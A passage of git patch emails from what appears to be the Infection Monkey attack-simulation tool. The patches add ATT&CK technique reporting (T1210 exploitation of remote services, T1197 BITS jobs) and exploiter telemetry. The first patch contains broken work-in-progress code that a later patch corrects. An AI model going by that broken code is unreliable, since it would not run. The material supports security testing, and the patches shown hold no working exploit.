Apr 2019 10:06:12 +0300 Subject: [PATCH 037/598] Report generation algorithm --- monkey/monkey_island/cc/resources/root.py | 3 +++ .../cc/services/attack/attack_report.py | 23 +++++++++++++++++-- .../cc/services/attack/attack_telem.py | 6 +++++ 3 files changed, 30 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index cd2f7e6a5..b6d2af7dc 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -10,6 +10,7 @@ from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.attack.attack_config import reset_config as reset_attack_config from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.report import ReportService +from cc.services.attack.attack_report import AttackReportService from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.services.post_breach_files import remove_PBA_files @@ -71,5 +72,7 @@ class Root(flask_restful.Resource): else: if is_any_exists: ReportService.get_report() + AttackReportService.get_report() report_done = ReportService.is_report_generated() + attack_report_done = AttackReportService.is_report_generated() return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index a3182545a..591255fa5 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,18 +1,37 @@ import logging from cc.services.attack.technique_reports import T1210 +from cc.services.attack.attack_telem import get_latest_telem +from cc.database import mongo __author__ = "VakarisZ" logger = logging.getLogger(__name__) +TECHNIQUES = {'T1210': T1210} class AttackReportService: def __init__(self): pass @staticmethod - def get_report(): - report = {} + def generate_new_report(): + report = {'techniques': {}, 'meta': {get_latest_telem()}} + for tech_id, value in report.update({'T1210': T1210.get_report_data()}) + report.update({''}) return report + + @staticmethod + def get_latest_report(): + if AttackReportService.is_report_generated(): + telem_time = get_latest_telem_time() + lates_report = mongo.db.attack_report.find_one({'name': 'new_report'}) + if telem_time == lates_report['telem_time']: + return lates_report + return AttackReportService.generate_new_report() + + @staticmethod + def is_report_generated(): + generated_report = mongo.db.attack_report.find_one({}) + return generated_report is not None diff --git a/monkey/monkey_island/cc/services/attack/attack_telem.py b/monkey/monkey_island/cc/services/attack/attack_telem.py index a4e219270..7521bbb6c 100644 --- a/monkey/monkey_island/cc/services/attack/attack_telem.py +++ b/monkey/monkey_island/cc/services/attack/attack_telem.py @@ -3,6 +3,7 @@ File that contains ATT&CK telemetry storing/retrieving logic """ import logging from monkey_island.cc.database import mongo +from time import time __author__ = "VakarisZ" @@ -17,3 +18,8 @@ def set_results(technique, data): """ data.update({'technique': technique}) mongo.db.attack_results.insert(data) + mongo.db.attack_results.update({'name': 'latest'}, {'name': 'latest', 'timestamp': time()}, upsert=True) + + +def get_latest_telem(): + return mongo.db.attack_results.find({'name': 'latest'}) From 993736a973f714e4dc17714f507b823ddc119a04 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 9 Apr 2019 10:59:53 +0300 Subject: [PATCH 038/598] T1210 implemented, T1197 started --- ...{attack_status_enum.py => attack_utils.py} | 3 + .../infection_monkey/exploit/elasticgroovy.py | 8 +++ monkey/infection_monkey/exploit/rdpgrinder.py | 3 + monkey/infection_monkey/exploit/web_rce.py | 3 + monkey/infection_monkey/monkey.py | 4 -- .../cc/resources/attack/__init__.py | 0 .../resources/{ => attack}/attack_config.py | 0 .../resources/{ => attack}/attack_report.py | 4 +- .../cc/resources/{ => attack}/attack_telem.py | 0 monkey/monkey_island/cc/resources/root.py | 6 +- .../cc/services/attack/attack_report.py | 39 +++++++++--- .../cc/services/attack/attack_telem.py | 2 +- .../attack/technique_reports/T1197.py | 16 +++++ .../attack/technique_reports/T1210.py | 23 +++---- .../technique_reports/technique_service.py | 16 ++++- .../cc/ui/src/components/attack/T1197.js | 63 +++++++++++++++++++ .../cc/ui/src/components/attack/T1210.js | 55 ++++++++++++---- .../src/components/pages/AttackReportPage.js | 49 ++++++++------- monkey/monkey_island/cc/ui/src/styles/App.css | 6 ++ 19 files changed, 232 insertions(+), 68 deletions(-) rename monkey/common/utils/{attack_status_enum.py => attack_utils.py} (72%) create mode 100644 monkey/monkey_island/cc/resources/attack/__init__.py rename monkey/monkey_island/cc/resources/{ => attack}/attack_config.py (100%) rename monkey/monkey_island/cc/resources/{ => attack}/attack_report.py (69%) rename monkey/monkey_island/cc/resources/{ => attack}/attack_telem.py (100%) create mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1197.py create mode 100644 monkey/monkey_island/cc/ui/src/components/attack/T1197.js diff --git a/monkey/common/utils/attack_status_enum.py b/monkey/common/utils/attack_utils.py similarity index 72% rename from monkey/common/utils/attack_status_enum.py rename to monkey/common/utils/attack_utils.py index c7d2dc62c..50271c132 100644 --- a/monkey/common/utils/attack_status_enum.py +++ b/monkey/common/utils/attack_utils.py @@ -8,3 +8,6 @@ class ScanStatus(Enum): SCANNED = 1 # Technique was attempted and succeeded USED = 2 + + +BITS_UPLOAD_STRING = "Bits job was used to upload monkey to a remote system." diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index faa6681b4..1c530653e 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -11,6 +11,8 @@ from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\ DOWNLOAD_TIMEOUT from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING import re @@ -58,6 +60,12 @@ class ElasticGroovyExploiter(WebRCE): return False return result[0] + def upload_monkey(self, url, commands=None): + result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands) + if 'windows' in self.host.os['type'] and result: + VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING) + return result + def get_results(self, response): """ Extracts the result data from our attack diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index dcef9551c..3b81f7109 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -17,6 +17,8 @@ from infection_monkey.network.tools import check_tcp_port from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.utils import utf_to_ascii from common.utils.exploit_enum import ExploitType +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING __author__ = 'hoffer' @@ -312,6 +314,7 @@ class RdpExploiter(HostExploiter): client_factory.done_event.wait() if client_factory.success: + VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING) exploited = True self.report_login_attempt(True, user, password) break diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index d797f3a95..912d7c108 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -7,6 +7,8 @@ from infection_monkey.exploit import HostExploiter from infection_monkey.model import * from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service +from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem +from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING __author__ = 'VakarisZ' @@ -307,6 +309,7 @@ class WebRCE(HostExploiter): if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: LOG.info("Powershell not found in host. Using bitsadmin to download.") backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} + VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING) resp = self.exploit(url, backup_command) return resp diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 841a5521d..e80e15396 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -17,8 +17,6 @@ from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.post_breach.post_breach_handler import PostBreach -from common.utils.attack_status_enum import ScanStatus -from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem __author__ = 'itamar' @@ -181,11 +179,9 @@ class InfectionMonkey(object): for exploiter in [exploiter(machine) for exploiter in self._exploiters]: if self.try_exploiting(machine, exploiter): host_exploited = True - VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send() break if not host_exploited: self._fail_exploitation_machines.add(machine) - VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send() if not self._keep_running: break diff --git a/monkey/monkey_island/cc/resources/attack/__init__.py b/monkey/monkey_island/cc/resources/attack/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/resources/attack_config.py b/monkey/monkey_island/cc/resources/attack/attack_config.py similarity index 100% rename from monkey/monkey_island/cc/resources/attack_config.py rename to monkey/monkey_island/cc/resources/attack/attack_config.py diff --git a/monkey/monkey_island/cc/resources/attack_report.py b/monkey/monkey_island/cc/resources/attack/attack_report.py similarity index 69% rename from monkey/monkey_island/cc/resources/attack_report.py rename to monkey/monkey_island/cc/resources/attack/attack_report.py index 82987dde9..714836925 100644 --- a/monkey/monkey_island/cc/resources/attack_report.py +++ b/monkey/monkey_island/cc/resources/attack/attack_report.py @@ -3,11 +3,11 @@ from flask import jsonify from cc.auth import jwt_required from cc.services.attack.attack_report import AttackReportService -__author__ = "itay.mizeretz" +__author__ = "VakarisZ" class AttackReport(flask_restful.Resource): @jwt_required() def get(self): - return jsonify(AttackReportService.get_report()) + return jsonify(AttackReportService.get_latest_report()['techniques']) diff --git a/monkey/monkey_island/cc/resources/attack_telem.py b/monkey/monkey_island/cc/resources/attack/attack_telem.py similarity index 100% rename from monkey/monkey_island/cc/resources/attack_telem.py rename to monkey/monkey_island/cc/resources/attack/attack_telem.py diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index b6d2af7dc..4bc43c601 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -69,10 +69,12 @@ class Root(flask_restful.Resource): infection_done = NodeService.is_monkey_finished_running() if not infection_done: report_done = False + attack_report_done = False else: if is_any_exists: ReportService.get_report() - AttackReportService.get_report() + AttackReportService.get_latest_report() report_done = ReportService.is_report_generated() attack_report_done = AttackReportService.is_report_generated() - return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) + return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, + report_done=report_done, attack_report_done=attack_report_done) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 591255fa5..52d4d6529 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,37 +1,58 @@ import logging from cc.services.attack.technique_reports import T1210 from cc.services.attack.attack_telem import get_latest_telem +from cc.services.attack.attack_config import get_technique_values from cc.database import mongo __author__ = "VakarisZ" -logger = logging.getLogger(__name__) +LOG = logging.getLogger(__name__) TECHNIQUES = {'T1210': T1210} +REPORT_NAME = 'new_report' + + class AttackReportService: def __init__(self): pass @staticmethod def generate_new_report(): - report = {'techniques': {}, 'meta': {get_latest_telem()}} - for tech_id, value in - report.update({'T1210': T1210.get_report_data()}) - report.update({''}) + """ + Generates new report based on telemetries, replaces old report in db with new one. + :return: Report object + """ + report = {'techniques': {}, 'meta': get_latest_telem(), 'name': REPORT_NAME} + for tech_id, value in get_technique_values().items(): + if value: + try: + report['techniques'].update({tech_id: TECHNIQUES[tech_id].get_report_data()}) + except KeyError as e: + LOG.error("Attack technique does not have it's report component added " + "to attack report service. %s" % e) + mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True) return report @staticmethod def get_latest_report(): + """ + Gets latest report (by retrieving it from db or generating a new one). + :return: report dict. + """ if AttackReportService.is_report_generated(): - telem_time = get_latest_telem_time() - lates_report = mongo.db.attack_report.find_one({'name': 'new_report'}) - if telem_time == lates_report['telem_time']: - return lates_report + telem_time = get_latest_telem() + latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME}) + if telem_time and telem_time['timestamp'] == latest_report['meta']['timestamp']: + return latest_report return AttackReportService.generate_new_report() @staticmethod def is_report_generated(): + """ + Checks if report is generated + :return: True if report exists, False otherwise + """ generated_report = mongo.db.attack_report.find_one({}) return generated_report is not None diff --git a/monkey/monkey_island/cc/services/attack/attack_telem.py b/monkey/monkey_island/cc/services/attack/attack_telem.py index 7521bbb6c..139837835 100644 --- a/monkey/monkey_island/cc/services/attack/attack_telem.py +++ b/monkey/monkey_island/cc/services/attack/attack_telem.py @@ -22,4 +22,4 @@ def set_results(technique, data): def get_latest_telem(): - return mongo.db.attack_results.find({'name': 'latest'}) + return mongo.db.attack_results.find_one({'name': 'latest'}) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py new file mode 100644 index 000000000..9d260bc45 --- /dev/null +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py @@ -0,0 +1,16 @@ +from monkey_island.cc.services.attack.technique_reports.technique_service import * +from cc.services.report import ReportService + +__author__ = "VakarisZ" + +TECHNIQUE = "T1197" +MESSAGES = { + 'unscanned': "Monkey didn't try to use any bits jobs.", + 'scanned': "Monkey tried to use bits jobs but failed.", + 'used': "Monkey successfully used bits jobs at least once in the network." +} + + +def get_report_data(): + data = get_tech_base_data(TECHNIQUE, MESSAGES) + return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 20cdcc9f3..4fb244e45 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -1,27 +1,18 @@ -from monkey_island.cc.services.attack.technique_reports.technique_service import technique_status, technique_title -from common.utils.attack_status_enum import ScanStatus +from monkey_island.cc.services.attack.technique_reports.technique_service import * from cc.services.report import ReportService __author__ = "VakarisZ" TECHNIQUE = "T1210" -UNSCANNED_MSG = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?" -SCANNED_MSG = "Monkey scanned for remote services on the network, but couldn't exploit any of them." -USED_MSG = "Monkey scanned for remote services and exploited some on the network." +MESSAGES = { + 'unscanned': "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?", + 'scanned': "Monkey scanned for remote services on the network, but couldn't exploit any of them.", + 'used': "Monkey scanned for remote services and exploited some on the network." +} def get_report_data(): - data = {} - status = technique_status(TECHNIQUE) - title = technique_title(TECHNIQUE) - data.update({'status': status.name, 'title': title}) - if status == ScanStatus.UNSCANNED: - data.update({'message': UNSCANNED_MSG}) - return data - elif status == ScanStatus.SCANNED: - data.update({'message': SCANNED_MSG}) - else: - data.update({'message': USED_MSG}) + data = get_tech_base_data(TECHNIQUE, MESSAGES) data.update({'scanned_machines': ReportService.get_scanned()}) data.update({'exploited_machines': ReportService.get_exploited()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py index 9533ae0b9..b59c1838d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_service.py @@ -1,5 +1,5 @@ from cc.database import mongo -from common.utils.attack_status_enum import ScanStatus +from common.utils.attack_utils import ScanStatus from cc.services.attack.attack_config import get_technique __author__ = "VakarisZ" @@ -16,3 +16,17 @@ def technique_status(technique): def technique_title(technique): return get_technique(technique)['title'] + + +def get_tech_base_data(technique, messages): + data = {} + status = technique_status(technique) + title = technique_title(technique) + data.update({'status': status.name, 'title': title}) + if status == ScanStatus.UNSCANNED: + data.update({'message': messages['unscanned']}) + elif status == ScanStatus.SCANNED: + data.update({'message': messages['scanned']}) + else: + data.update({'message': messages['used']}) + return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/T1197.js b/monkey/monkey_island/cc/ui/src/components/attack/T1197.js new file mode 100644 index 000000000..a5156c3f4 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/attack/T1197.js @@ -0,0 +1,63 @@ +import React from 'react'; +import '../../styles/Collapse.scss' +import {Link} from "react-router-dom"; + +let renderArray = function(val) { + return {val.map(x => {x} )}; +}; + + +let renderMachine = function (val, index, exploited=false) { + return ( +
      + {renderArray(val.ip_addresses)} + {(val.domain_name ? " (".concat(val.domain_name, ")") : " (".concat(val.label, ")"))} : + {exploited ? renderArray(val.exploits) : renderArray(val.services)} +
      + ) +}; + +class T1210 extends React.Component { + + renderScannedMachines = (machines) => { + let content = []; + for (let i = 0; i < machines.length; i++ ){ + if (machines[i].services.length !== 0){ + content.push(renderMachine(machines[i], i)) + } + } + return
      {content}
      ; + }; + + renderExploitedMachines = (machines) => { + let content = []; + for (let i = 0; i < machines.length; i++ ){ + if (machines[i].exploits.length !== 0){ + content.push(renderMachine(machines[i], i, true)) + } + } + return
      {content}
      ; + }; + + constructor(props) { + super(props); + } + + render() { + console.log(this.props); + return ( +
      +
      {this.props.data.message}
      +
      Found services:
      + {this.renderScannedMachines(this.props.data.scanned_machines)} +
      Successful exploiters:
      + {this.renderExploitedMachines(this.props.data.exploited_machines)} +
      + To get more info about scanned and exploited machines view standard report. +
      +
      + ); + } +} + +export default T1210; diff --git a/monkey/monkey_island/cc/ui/src/components/attack/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/T1210.js index ed36aa75d..a5156c3f4 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/T1210.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/T1210.js @@ -1,30 +1,61 @@ import React from 'react'; -import ReactTable from 'react-table' import '../../styles/Collapse.scss' -import Collapse from '@kunukn/react-collapse'; +import {Link} from "react-router-dom"; let renderArray = function(val) { - return
      {val.map(x =>
      {x}
      )}
      ; + return {val.map(x => {x} )}; }; -let renderIpAddresses = function (val) { - return
      {renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
      ; + +let renderMachine = function (val, index, exploited=false) { + return ( +
      + {renderArray(val.ip_addresses)} + {(val.domain_name ? " (".concat(val.domain_name, ")") : " (".concat(val.label, ")"))} : + {exploited ? renderArray(val.exploits) : renderArray(val.services)} +
      + ) }; -const columns = [ -]; - -const pageSize = 10; - class T1210 extends React.Component { + + renderScannedMachines = (machines) => { + let content = []; + for (let i = 0; i < machines.length; i++ ){ + if (machines[i].services.length !== 0){ + content.push(renderMachine(machines[i], i)) + } + } + return
      {content}
      ; + }; + + renderExploitedMachines = (machines) => { + let content = []; + for (let i = 0; i < machines.length; i++ ){ + if (machines[i].exploits.length !== 0){ + content.push(renderMachine(machines[i], i, true)) + } + } + return
      {content}
      ; + }; + constructor(props) { super(props); } + render() { + console.log(this.props); return ( - +
      {this.props.data.message}
      - +
      Found services:
      + {this.renderScannedMachines(this.props.data.scanned_machines)} +
      Successful exploiters:
      + {this.renderExploitedMachines(this.props.data.exploited_machines)} +
      + To get more info about scanned and exploited machines view standard report. +
      +
      ); } } diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js index b34e45dde..41ff2a428 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js @@ -18,7 +18,7 @@ class AttackReportPageComponent extends AuthComponent { constructor(props) { super(props); this.state = { - report: {}, + report: false, allMonkeysAreDead: false, runStarted: true, index: 1 @@ -105,27 +105,8 @@ class AttackReportPageComponent extends AuthComponent { Object.keys(this.state.report).forEach((tech_id) => { content = this.getTechniqueCollapse(tech_id) }); - return
      {content}
      - } - - render() { - let content; - if (Object.keys(this.state.report).length === 0) { - if (this.state.runStarted) { - content = (

      Generating Report...

      ); - } else { - content = -

      - - You have to run a monkey before generating a report! -

      ; - } - } else { - content = this.generateReportContent(); - } return ( - -

      5. ATT&CK Report

      +
      +
      {content}
      +
      + ) + } + + render() { + let content; + console.log(this.state.report); + if (this.state.report === false){ + content = (

      Generating Report...

      ); + } else if (Object.keys(this.state.report).length === 0) { + if (this.state.runStarted) { + content = (

      No techniques were scanned

      ); + } else { + content = +

      + + You have to run a monkey before generating a report! +

      ; + } + } else { + content = this.generateReportContent(); + } + return ( + +

      5. ATT&CK Report

      {content}
      diff --git a/monkey/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css index 83a844670..ade81039e 100644 --- a/monkey/monkey_island/cc/ui/src/styles/App.css +++ b/monkey/monkey_island/cc/ui/src/styles/App.css @@ -541,3 +541,9 @@ body { text-align: center; margin-bottom: 20px; } + +.attack-report.footer-text{ + text-align: right; + font-size: 0.8em; + margin-top: 20px; +} From 8ee7a06769660a25b7c728fc836f841dc4e02bd4 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 9 Apr 2019 19:40:09 +0300 Subject: [PATCH 039/598] Attack report bugfixes --- monkey/common/utils/attack_utils.py | 2 +- .../infection_monkey/exploit/elasticgroovy.py | 2 +- .../transport/attack_telems/base_telem.py | 2 +- .../services/attack/technique_reports/T1197.py | 2 ++ .../services/attack/technique_reports/T1210.py | 17 ++++++++++++++--- .../cc/ui/src/components/attack/T1210.js | 6 +++--- .../ui/src/components/pages/AttackReportPage.js | 16 ++++++++-------- 7 files changed, 30 insertions(+), 17 deletions(-) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index 50271c132..a372661ca 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -10,4 +10,4 @@ class ScanStatus(Enum): USED = 2 -BITS_UPLOAD_STRING = "Bits job was used to upload monkey to a remote system." +BITS_UPLOAD_STRING = {"usage": "Bits job was used to upload monkey to a remote system."} diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 1c530653e..b4d3b2be8 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -63,7 +63,7 @@ class ElasticGroovyExploiter(WebRCE): def upload_monkey(self, url, commands=None): result = super(ElasticGroovyExploiter, self).upload_monkey(url, commands) if 'windows' in self.host.os['type'] and result: - VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING) + VictimHostTelem("T1197", ScanStatus.USED.value, self.host, BITS_UPLOAD_STRING).send() return result def get_results(self, response): diff --git a/monkey/infection_monkey/transport/attack_telems/base_telem.py b/monkey/infection_monkey/transport/attack_telems/base_telem.py index 9d0275356..93d5bbbf7 100644 --- a/monkey/infection_monkey/transport/attack_telems/base_telem.py +++ b/monkey/infection_monkey/transport/attack_telems/base_telem.py @@ -16,7 +16,7 @@ class AttackTelem(object): Default ATT&CK telemetry constructor :param technique: Technique ID. E.g. T111 :param status: int from ScanStatus Enum - :param data: Other data relevant to the attack technique + :param data: Dictionary of other relevant info. E.g. {'brute_force_blocked': True} """ self.technique = technique self.result = status diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py index 9d260bc45..6121c46e3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py @@ -13,4 +13,6 @@ MESSAGES = { def get_report_data(): data = get_tech_base_data(TECHNIQUE, MESSAGES) + + data.update() return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 4fb244e45..2ec4bcc1f 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -1,5 +1,6 @@ from monkey_island.cc.services.attack.technique_reports.technique_service import * from cc.services.report import ReportService +from common.utils.attack_utils import ScanStatus __author__ = "VakarisZ" @@ -12,8 +13,18 @@ MESSAGES = { def get_report_data(): - data = get_tech_base_data(TECHNIQUE, MESSAGES) - data.update({'scanned_machines': ReportService.get_scanned()}) - data.update({'exploited_machines': ReportService.get_exploited()}) + data = {} + scanned_machines = ReportService.get_scanned() + exploited_machines = ReportService.get_exploited() + data.update({'message': MESSAGES['unscanned'], 'status': ScanStatus.UNSCANNED.name}) + for machine in scanned_machines: + if machine['services']: + data.update({'message': MESSAGES['scanned'], 'status': ScanStatus.SCANNED.name}) + for machine in exploited_machines: + if machine['exploits']: + data.update({'message': MESSAGES['used'], 'status': ScanStatus.USED.name}) + data.update({'technique': TECHNIQUE, 'title': technique_title(TECHNIQUE)}) + data.update({'scanned_machines': scanned_machines}) + data.update({'exploited_machines': exploited_machines}) return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/T1210.js index a5156c3f4..63e0222f6 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/T1210.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/T1210.js @@ -3,7 +3,7 @@ import '../../styles/Collapse.scss' import {Link} from "react-router-dom"; let renderArray = function(val) { - return {val.map(x => {x} )}; + return {val.map(x => {x} )}; }; @@ -48,9 +48,9 @@ class T1210 extends React.Component { return (
      {this.props.data.message}
      -
      Found services:
      + {this.props.data.scanned_machines.length > 0 ?
      Found services:
      : ''} {this.renderScannedMachines(this.props.data.scanned_machines)} -
      Successful exploiters:
      + {this.props.data.exploited_machines.length > 0 ?
      Successful exploiters:
      : ''} {this.renderExploitedMachines(this.props.data.exploited_machines)}
      To get more info about scanned and exploited machines view standard report. diff --git a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js index 41ff2a428..b35fba619 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/AttackReportPage.js @@ -128,18 +128,18 @@ class AttackReportPageComponent extends AuthComponent { render() { let content; - console.log(this.state.report); - if (this.state.report === false){ + if (! this.state.runStarted) + { + content = +

      + + You have to run a monkey before generating a report! +

      ; + } else if (this.state.report === false){ content = (

      Generating Report...

      ); } else if (Object.keys(this.state.report).length === 0) { if (this.state.runStarted) { content = (

      No techniques were scanned

      ); - } else { - content = -

      - - You have to run a monkey before generating a report! -

      ; } } else { content = this.generateReportContent(); From 1eac9856c4b2bc87b3619d69f81f493f805e40d2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 10 Apr 2019 17:27:40 +0300 Subject: [PATCH 040/598] Refactoring T1197 to display time and use tables --- monkey/common/utils/attack_utils.py | 4 +- .../transport/attack_telems/base_telem.py | 13 +++- .../attack_telems/victim_host_telem.py | 2 +- .../cc/services/attack/attack_report.py | 7 +- .../cc/services/attack/attack_schema.py | 2 +- .../cc/services/attack/attack_telem.py | 2 +- .../attack/technique_reports/T1197.py | 13 +++- .../technique_reports/technique_service.py | 5 ++ .../cc/ui/src/components/attack/T1197.js | 65 +++++++------------ .../cc/ui/src/components/attack/T1210.js | 1 - .../src/components/pages/AttackReportPage.js | 27 ++++---- 11 files changed, 75 insertions(+), 66 deletions(-) diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py index a372661ca..b7f3346b3 100644 --- a/monkey/common/utils/attack_utils.py +++ b/monkey/common/utils/attack_utils.py @@ -9,5 +9,5 @@ class ScanStatus(Enum): # Technique was attempted and succeeded USED = 2 - -BITS_UPLOAD_STRING = {"usage": "Bits job was used to upload monkey to a remote system."} +# Dict that describes what BITS job was used for +BITS_UPLOAD_STRING = {"usage": "BITS job was used to upload monkey to a remote system."} diff --git a/monkey/infection_monkey/transport/attack_telems/base_telem.py b/monkey/infection_monkey/transport/attack_telems/base_telem.py index 93d5bbbf7..d42bbd242 100644 --- a/monkey/infection_monkey/transport/attack_telems/base_telem.py +++ b/monkey/infection_monkey/transport/attack_telems/base_telem.py @@ -3,6 +3,7 @@ import requests import json from infection_monkey.control import ControlClient import logging +import datetime __author__ = "VakarisZ" @@ -20,7 +21,7 @@ class AttackTelem(object): """ self.technique = technique self.result = status - self.data = {'status': status, 'id': GUID} + self.data = {'status': status, 'id': GUID, 'time': AttackTelem.get_current_time_string()} if data: self.data.update(data) @@ -39,3 +40,13 @@ class AttackTelem(object): except Exception as exc: LOG.warn("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) + + @staticmethod + def get_current_time_string(): + time = datetime.datetime.now() + return "%s-%s-%s %s:%s:%s" % (time.date().year, + time.date().month, + time.date().day, + time.time().hour, + time.time().minute, + time.time().second) diff --git a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py index ecab5a648..fc0da7fbf 100644 --- a/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py +++ b/monkey/infection_monkey/transport/attack_telems/victim_host_telem.py @@ -14,5 +14,5 @@ class VictimHostTelem(AttackTelem): :param data: Other data relevant to the attack technique """ super(VictimHostTelem, self).__init__(technique, status, data) - victim_host = 